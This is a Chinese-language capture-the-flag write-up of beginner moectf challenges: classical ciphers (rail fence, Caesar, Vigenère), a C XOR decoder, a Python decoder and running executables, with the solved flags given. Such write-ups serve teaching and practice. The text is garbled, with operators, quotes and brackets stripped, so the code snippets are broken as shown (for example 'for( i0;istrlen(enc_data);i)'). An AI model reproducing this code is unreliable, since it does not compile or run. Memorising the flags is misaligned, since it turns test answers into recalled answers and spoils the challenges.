mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_jW型栅栏栏数是3直接解密 皇帝的新密码 皇帝的新密码 密文如下
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}凯撒密码偏移量19解密 不是“皇帝的新密码” 不是“皇帝的新密码” 附件内容如下
scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5
密码可以去了解一下维吉尼亚密码加密方式已知前面是moectf秘钥可以得知是goodjob解密得到flag Basic
CCCC C语言是学习计算机基础中的基础也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境并且运行题目给出的代码来获取flag。 by the way如果你看不懂这段代码仅仅只是运行得到了flag后面的题做起来会有一些困难噢 下载附件得到代码
#includestdio.h
#includestring.h
int main()
{//unsigned char flag[]moectf{HAHA_C_1s_easy!};unsigned char enc_data[]mngpc}OIAKTOR?|Otsm4k,flag[23];int i;for( i0;istrlen(enc_data);i){flag[i]enc_data[i]^i;}puts(flag);return 0;
}运行后得到flag注释也有
Python DESCRIPTION: Python是CTF中最常用的编程语言不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境并且运行题目给出的代码来获取flag。 by the way希望你是在看懂这段代码的基础上提交flag的:) 附件内代码如下
enc1[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
xlambda x:x^0xff
enc2[]
for i in enc1:enc2.append(x(i))
keymoectf2023
flag
for i in range(len(enc2)):flagchr(((0xf3)(enc2[i])|((enc2[i])^0xff)0xc))
print(flag)运行得到flag
moectf{Pyth0n_1z_0ur_g00d_friendz}runme DESCRIPTION: 下载文件双击运行得flag~ 但是我的程序好像会闪退欸能不能想个办法保留一下它的输出比如用CMD来运行它试试 如果你不知道什么是CMD可以尝试使用搜索引擎来学习加油吧( ) 在命令行运行
runme.exerunme2 DESCRIPTION: 下载文件运行得flag~ 诶诶出了点小问题好像不能运行因为这个程序是Linux操作系统下的可执行文件不再是Windows了。 请尝试配置一个Linux环境虚拟机或者WSL来运行它。 Linux环境下运行得到flag 后记
因为本人是学Web的所以剩下的方向纯属是瞎写师傅们觉得写的不好也轻点骂